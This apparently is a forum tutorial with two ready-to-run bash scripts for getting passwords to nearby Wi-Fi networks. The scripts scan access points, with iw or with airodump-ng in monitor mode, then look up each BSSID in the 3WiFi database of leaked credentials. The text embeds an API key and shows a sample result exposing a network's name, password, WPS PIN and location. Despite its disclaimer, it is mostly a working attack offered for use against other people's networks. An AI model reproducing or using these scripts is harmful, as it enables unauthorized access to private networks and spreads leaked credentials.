How to quickly find out the password for Wi-Fi nearby

[CreedX]

Hello all,
PS: This article is presented for informational purposes only and does not constitute a call to action. All information is aimed at protecting readers from illegal actions.
Today we will look at a very interesting method that allows you to check all wireless access points within range for their presence in the 3WiFi database.

An important point: we need an internet connection - since we are using an online database. But what is important, during scanning, the Wi-Fi connection will not be dropped. That is, 1 adapter is enough, which will scan and at the same time be connected to the Internet.

If you are using Linux with any Wi-Fi card, then this method is perfect for you.

Instructions​

• Create a file 3wifi.sh :

gedit 3wifi.sh

And copy into it:

#!/bin/bash

IFACE='wlan0'
SCAN_ATTEMPTS=4
API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'

TMP_FILE='/tmp/scan_results.txt'

rm $TMP_FILE 2>/dev/null

for (( i=1; i<=$SCAN_ATTEMPTS; i=i+1 )); do
    echo "Scan #: $i"
    FOUND="$( sudo iw dev $IFACE scan | grep -E '^BSS' | grep -E -o '[0-9a-z:]{17}' )"
    echo "$FOUND" >> /tmp/scan_results.txt
    echo 'Found APs: ' `echo "$FOUND" | wc -l`
done

UNIQUE="$( cat $TMP_FILE | sort | uniq )"
echo '==================='
echo "Unique APs: "`echo "$UNIQUE" | wc -l`

echo "$UNIQUE" | while read -r line ; do
      echo "Trying $line...";
      echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$line`\e[0m" | grep -E -v ':\[\]';
      sleep 15;
done

Before running the script, you should specify the name of our wireless interface. You can find it out using the command:

iw dev

We enter it in the line below (instead of wlan0 ):

IFACE = 'wlan0'

Other settings - number of scans :

SCAN_ATTEMPTS=4

The default is 4, but you can choose a different value . The higher the number of scans, the less likely it is to miss wireless networks - especially if you move the wireless card around the room.

Setting up the API 3WiFi service key:

API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'

Now we run our script with the command:

sudo bash 3wifi.sh

You will see something like the following:

If after the line that starts with Trying ... nothing is displayed , then the tested access point is not present in the 3WiFi database.

If the access point is found , the following information will be displayed:

{"result":true,"data":{"D8:FB:5E:4D:47:82":[{"time":"2019-07-01 18:53:43","bssid":"D8:FB:5E:4D:47:82","essid":"BURAPA","sec":"WPA\/WPA2","key":"0840446924","wps":"12345670","lat":12.52412224,"lon":99.97179413}]},"time":0.012100219726562}

Where essid is the name of the access point, and key is the password for it. That is, the previous line says that for the BURAPA access point , the password for connecting to Wi-Fi is 0840446924.

If an error like this occurs:

{"result":false,"error":"cooldown","time":0.0015487670898438}

This means that the previous access point was not checked, but you can restart the scan, or manually check the missed access points on the 3WiFi website.

Second run:

Bonus​

Let's consider another option, when there is only one Wi-Fi card, but it supports monitor mode . In this case, you can scan the networks with airodump-ng .

During scanning, the wireless adapter must be in monitor mode and therefore cannot be connected to the Internet. Therefore, the scanned data can be saved to a file after verification.

After the scan is finished, you can connect to the Internet and check the online database.

• So, we transfer the interface to monitor mode (replace INTERFACE with the name of your wireless interface):

sudo ip link set INTERFACE down
 sudo iw INTERFACE set monitor control
 sudo ip link set INTERFACE up

• And run airodump-ng (specify your interface name instead of INTERFACE):

sudo airodump-ng --berlin 60000 -w / tmp / 3wifi INTERFACE

Now we create the file 3wifi-file.sh :

gedit 3wifi-file.sh

#!/bin/bash

API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'

FILE='/tmp/3wifi-01.csv'

while read -r line ; do
    BSSID=`echo $line | awk '{print $1}' | sed 's/,//'`
    ESSID=`echo $line | awk -F"," '{print $14}' | sed 's/ //'`
    echo "Trying $BSSID $ESSID"
    echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$BSSID`\e[0m" | grep -E -v ':\[\]'
    sleep 15   
done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE)

When you have access to the Internet, start it with the command:

bash 3wifi-file.sh

Now it remains to wait for the end of the script

If you are going to run airodump-ng again, then clear the files that were created earlier (otherwise the program 3wifi-file.sh will reuse the old ones). This can be done with the command

sudo rm /tmp/3wifi*